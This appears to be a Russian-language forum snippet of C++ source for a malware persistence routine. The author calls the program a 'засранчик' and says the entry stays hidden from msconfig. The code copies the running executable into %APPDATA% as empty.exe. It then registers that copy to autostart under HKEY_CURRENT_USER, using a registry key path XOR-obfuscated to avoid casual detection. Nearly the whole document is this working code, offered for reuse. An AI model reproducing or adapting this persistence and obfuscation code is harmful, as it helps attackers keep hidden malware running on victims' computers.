ниже приведен сниппет на копирование засранчика в %appdata% и добавление в ветку реестра довольно топроным способом, что даст результат в msconfig те запись отображаться не будет, в более продвинутых утилитах данная фича будет отображаться
Код:
#include <windows.h>
#include <shlobj.h>
using namespace std;
VOID Install(PWCHAR szCurrentPath, PWCHAR szNewPath);
VOID AddToStartup(PWCHAR szPath);
VOID ProcessOptions()
{
WCHAR szCurrentPath[MAX_PATH] = { 0 };
GetModuleFileNameW(NULL, szCurrentPath, MAX_PATH); // получениее пути к тушке засранчика
WCHAR szNewPath[MAX_PATH] = { 0 };
SHGetSpecialFolderPathW(NULL, szNewPath, CSIDL_APPDATA, TRUE); // папка для копирования "appdata" нужна другая смотри в мсдн
lstrcatW(szNewPath, L"\\empty.exe"); // имя с которым засранчик скопируеться по заданному рание пути
Install(szCurrentPath, szNewPath); // выполняем копирование
AddToStartup(szNewPath); // добавляемся в ветку HKEY_CURRENT_USER с поксореным ключем
}
VOID AddToStartup(PWCHAR szPath) // сниппет автозарузки
{
DWORD dwDisposition = 0;
HKEY hKey = NULL;
CHAR szRegKey[] = { 'M', 'Q', 'X', 'J', 'I', '_', 'L', '[', 'B', 'S', 'w', '}', 'l', 'q', 'm', 'q', 'x', 'j', 'B', 'I', 'w', 'p', 'z', 'q', 'i', 'm', 'B', ']', 'k', 'l', 'l', '{', 'p', 'j', 'H', '{', 'l', 'm', 'w', 'q', 'p', 'B', 'L', 'k', 'p', 'Q', 'p', '}', '{', '\0' };// энкрипт кпта
PCHAR szTempKey = (PCHAR)malloc(lstrlen(szRegKey));
lstrcpy(szTempKey, szRegKey);
DWORD dwKey = 10;
for (int i = 0; i<lstrlen(szTempKey); i++)
szTempKey[i] = (BYTE)szTempKey[i] ^ (dwKey * 3);
if (RegCreateKeyExA(HKEY_CURRENT_USER, szTempKey, NULL, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition) == ERROR_SUCCESS)
{
RegSetValueExW(hKey, L"sqgsf", NULL, REG_SZ, (BYTE*)szPath, lstrlenW(szPath)*sizeof(WCHAR));
RegCloseKey(hKey);
}
}
VOID Install(PWCHAR szCurrentPath, PWCHAR szNewPath) // сниппет копирования можно сделать лучше и подругому но мне лень
{
CopyFileW(szCurrentPath, szNewPath, TRUE); // получаем путь к засранчику , копируем нашего засранчика по новому пути с новым именем
}
int WINAPI WinMain
(
HINSTANCE hInstance, // указатель на текущий экземпл¤р
HINSTANCE hPrevInstance, // указатель на предыдущйи запушенный экземпл¤р
LPSTR lpCmdLine, // командна¤ строка
int nCmdShow // тип отображени¤ окна программы
)
{
ProcessOptions(); // выполняем сниппеты
return 0;
}